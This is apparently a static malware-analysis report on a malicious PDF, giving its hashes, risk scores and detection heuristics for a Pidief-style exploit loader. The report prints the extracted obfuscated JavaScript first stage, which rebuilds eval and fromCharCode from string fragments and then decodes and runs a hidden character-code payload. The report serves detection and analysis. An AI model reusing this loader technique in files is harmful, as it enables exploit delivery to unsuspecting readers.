Malicious PDF — malware analysis report

Static analysis result for SHA-256 bb81c80158aadac6…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 741a98b0d99449886ee2052cfc1d42a2 SHA-1: 4a2ed999229a76ad86d580e63c19889ba01cd1d7 SHA-256: bb81c80158aadac6c6e70c11733ef62097f6d48a70c48eaf8af186ed5bc0a776
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB066 437 bytes
SHA-256: 218635b696d74f83e383d5884a240682335ac9e5a065595d51403d9e7e0742b9
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
koko='';
ywmu=('qwrwqr','tit');
e('ihz=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
kplp=e('String.fr'+ihz.substr(0,10));
uuq = e(ihz.substr(10)['replace'](/u/g,','));
e('k=uuq.length');
for (i = 0; i < k; i+=2) {
	nts = uuq[i+1] + ('erybjkerl',uuq[i]);
	koko += kplp(nts);
}
e(koko);

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